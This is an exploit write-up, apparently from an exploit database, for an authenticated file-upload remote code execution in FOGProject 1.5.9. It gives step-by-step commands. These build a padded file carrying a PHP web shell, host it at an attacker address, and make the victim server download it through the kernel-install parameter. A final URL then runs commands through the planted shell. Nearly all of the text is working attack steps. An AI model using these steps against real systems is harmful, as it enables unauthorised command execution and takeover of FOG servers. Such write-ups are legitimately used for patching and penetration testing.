# Exploit Title: FOGProject 1.5.9 - File Upload RCE (Authenticated)# Date: 2021-04-28# Exploit Author: sml@lacashita.com# Vendor Homepage: https://fogproject.org# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip# Tested on: Debian 10
On the Attacker Machine:1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=12) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>'>> myshell
3) Put the file"myshell" accessible through HTTP.
$ cp myshell /var/www/html
4) Encode the URL to get "myshell"file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell"| base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=5) Visit
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64
Example:
http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=&arch=arm64
6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php
and click on Install.7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname